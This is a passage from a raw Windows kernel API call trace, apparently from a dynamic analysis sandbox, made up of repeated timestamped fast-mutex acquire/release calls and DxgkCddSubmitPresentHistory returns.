(FastMutex=0xffffe00001127c40) [0208.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.503] DxgkCddSubmitPresentHistory () returned 0x0 [0208.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.549] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.550] DxgkCddSubmitPresentHistory () returned 0x0 [0208.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.612] DxgkCddSubmitPresentHistory () returned 0x0 [0208.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.675] DxgkCddSubmitPresentHistory () returned 0x0 [0208.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.706] DxgkCddSubmitPresentHistory () returned 0x0 [0208.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.769] DxgkCddSubmitPresentHistory () returned 0x0 [0208.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.831] DxgkCddSubmitPresentHistory () returned 0x0 [0208.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.893] DxgkCddSubmitPresentHistory () returned 0x0 [0208.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.940] DxgkCddSubmitPresentHistory () returned 0x0 [0208.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.957] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.957] DxgkCddSubmitPresentHistory () returned 0x0 [0209.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.191] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.191] DxgkCddSubmitPresentHistory () returned 0x0 [0209.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.253] DxgkCddSubmitPresentHistory () returned 0x0 [0209.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.331] DxgkCddSubmitPresentHistory () returned 0x0 [0209.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.394] DxgkCddSubmitPresentHistory () returned 0x0 [0209.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.456] DxgkCddSubmitPresentHistory () returned 0x0 [0209.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.521] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.521] DxgkCddSubmitPresentHistory () returned 0x0 [0209.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.565] DxgkCddSubmitPresentHistory () returned 0x0 [0209.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.643] DxgkCddSubmitPresentHistory () returned 0x0 [0209.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.690] DxgkCddSubmitPresentHistory () returned 0x0 [0209.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.760] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.760] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.760] DxgkCddSubmitPresentHistory () returned 0x0 [0209.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.831] DxgkCddSubmitPresentHistory () returned 0x0 [0209.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.927] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.927] DxgkCddSubmitPresentHistory () returned 0x0 [0209.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0209.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0209.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0209.940] DxgkCddSubmitPresentHistory () returned 0x0 [0210.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.014] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0210.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.014] DxgkCddSubmitPresentHistory () returned 0x0 [0210.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0210.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.065] DxgkCddSubmitPresentHistory () returned 0x0 [0210.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0210.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.160] DxgkCddSubmitPresentHistory () returned 0x0 [0210.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0210.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0210.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0210.190] DxgkCddSubmitPresentHistory () returned 0x0 [0211.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0211.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.831] DxgkCddSubmitPresentHistory () returned 0x0 [0211.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0211.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.893] DxgkCddSubmitPresentHistory () returned 0x0 [0211.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0211.971] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0211.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0211.972] DxgkCddSubmitPresentHistory () returned 0x0 [0212.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0212.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.019] DxgkCddSubmitPresentHistory () returned 0x0 [0212.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0212.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.081] DxgkCddSubmitPresentHistory () returned 0x0 [0212.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0212.596] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0212.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0212.596] DxgkCddSubmitPresentHistory () returned 0x0 [0213.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.425] DxgkCddSubmitPresentHistory () returned 0x0 [0213.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.487] DxgkCddSubmitPresentHistory () returned 0x0 [0213.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.550] DxgkCddSubmitPresentHistory () returned 0x0 [0213.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.628] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.629] DxgkCddSubmitPresentHistory () returned 0x0 [0213.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.675] DxgkCddSubmitPresentHistory () returned 0x0 [0213.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.738] DxgkCddSubmitPresentHistory () returned 0x0 [0213.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.801] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.801] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.801] DxgkCddSubmitPresentHistory () returned 0x0 [0213.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.863] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.863] DxgkCddSubmitPresentHistory () returned 0x0 [0213.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.940] DxgkCddSubmitPresentHistory () returned 0x0 [0213.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0213.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.987] DxgkCddSubmitPresentHistory () returned 0x0 [0214.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.065] DxgkCddSubmitPresentHistory () returned 0x0 [0214.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.128] DxgkCddSubmitPresentHistory () returned 0x0 [0214.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.175] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.176] DxgkCddSubmitPresentHistory () returned 0x0 [0214.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.238] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.238] DxgkCddSubmitPresentHistory () returned 0x0 [0214.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.300] DxgkCddSubmitPresentHistory () returned 0x0 [0214.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.363] DxgkCddSubmitPresentHistory () returned 0x0 [0214.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.440] DxgkCddSubmitPresentHistory () returned 0x0 [0214.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.878] DxgkCddSubmitPresentHistory () returned 0x0 [0214.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.925] DxgkCddSubmitPresentHistory () returned 0x0 [0214.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0214.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.987] DxgkCddSubmitPresentHistory () returned 0x0 [0215.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0215.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.050] DxgkCddSubmitPresentHistory () returned 0x0 [0215.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0215.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.129] DxgkCddSubmitPresentHistory () returned 0x0 [0215.424] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.424] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0215.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.425] DxgkCddSubmitPresentHistory () returned 0x0 [0216.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0216.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0216.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0216.815] DxgkCddSubmitPresentHistory () returned 0x0 [0217.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0217.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0217.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0217.878] DxgkCddSubmitPresentHistory () returned 0x0 [0218.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.378] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.378] DxgkCddSubmitPresentHistory () returned 0x0 [0218.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.440] DxgkCddSubmitPresentHistory () returned 0x0 [0218.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.503] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.503] DxgkCddSubmitPresentHistory () returned 0x0 [0218.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.586] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.586] DxgkCddSubmitPresentHistory () returned 0x0 [0218.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.675] DxgkCddSubmitPresentHistory () returned 0x0 [0218.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.721] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.722] DxgkCddSubmitPresentHistory () returned 0x0 [0218.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.784] DxgkCddSubmitPresentHistory () returned 0x0 [0218.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.847] DxgkCddSubmitPresentHistory () returned 0x0 [0218.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.909] DxgkCddSubmitPresentHistory () returned 0x0 [0218.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.971] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0218.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.971] DxgkCddSubmitPresentHistory () returned 0x0 [0219.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.050] DxgkCddSubmitPresentHistory () returned 0x0 [0219.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.097] DxgkCddSubmitPresentHistory () returned 0x0 [0219.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.160] DxgkCddSubmitPresentHistory () returned 0x0 [0219.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.221] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.222] DxgkCddSubmitPresentHistory () returned 0x0 [0219.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.284] DxgkCddSubmitPresentHistory () returned 0x0 [0219.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.346] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.346] DxgkCddSubmitPresentHistory () returned 0x0 [0219.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0219.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.409] DxgkCddSubmitPresentHistory () returned 0x0 [0220.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.800] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0220.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.800] DxgkCddSubmitPresentHistory () returned 0x0 [0220.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0220.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.862] DxgkCddSubmitPresentHistory () returned 0x0 [0220.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0220.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.925] DxgkCddSubmitPresentHistory () returned 0x0 [0221.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0221.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0221.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0221.003] DxgkCddSubmitPresentHistory () returned 0x0 [0221.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0221.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0221.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0221.050] DxgkCddSubmitPresentHistory () returned 0x0 [0221.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 